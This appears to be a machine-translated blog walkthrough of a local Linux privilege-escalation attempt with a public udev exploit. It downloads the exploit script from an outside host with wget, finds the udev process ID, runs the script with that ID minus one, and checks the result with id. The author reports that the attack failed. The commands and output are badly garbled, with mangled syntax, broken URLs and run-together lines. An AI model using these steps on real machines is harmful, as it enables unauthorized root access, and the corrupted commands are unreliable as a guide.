1. Download the attack script
[email protected] ~]$ wget http://www.extmail. org/source/exploit-udev-8478--2018-04-02 01:21:00--http://www.extmail/Resolving www.extmail ... failed:name or service not known.wget:unable to Res Olve host Address "Www.extmail"--2018-04-02 01:21:00--http://.org/source/exploit-udev-8478Resolving. org ... Failed:name or service not known.wget:unable to resolve host address ". org" [[email protected] ~]$ wget Http://www.extmai l.org/source/exploit-udev-8478--2018-04-02 01:21:14--http://www.extmail.org/source/exploit-udev-8478Resolving Www.extmail.org ... 124.172.184.131Connecting to www.extmail.org|124.172.184.131|:80 ... Connected. HTTP request sent, awaiting response ... oklength:3367 (3.3K) [application/octet-stream]saving to: "exploit-udev-8478" 100%[============================= ==================================================>2018-04-02 01:21:15 (351 KB/s)-"exploit-udev-8478" saved [ 3367/3367]
2. Get the Udev process number
PS Ax|grep udev|grep-v Grep|awk {'print$'}5812508 2509
3. Obtain the Udev process number, and then subtract 1 of this number as the exploit-udev-8478 parameter, execute the script
SH exploit-udev-8478580 suid.c:in function ' main ': suid.c:3 Implicit declaration of built- in function ' execl '
4. Enter ID to verify
1 sh-4.1$ id 2 uid=502(test) gid=502(test) groups=502 (test) context=unconfined_u:unconfined _r:unconfined_t:s0-s0:c0.c1023
Many experiments still did not succeed, the big guy see ask, should be my Linux version issue
Linux Udev Power Process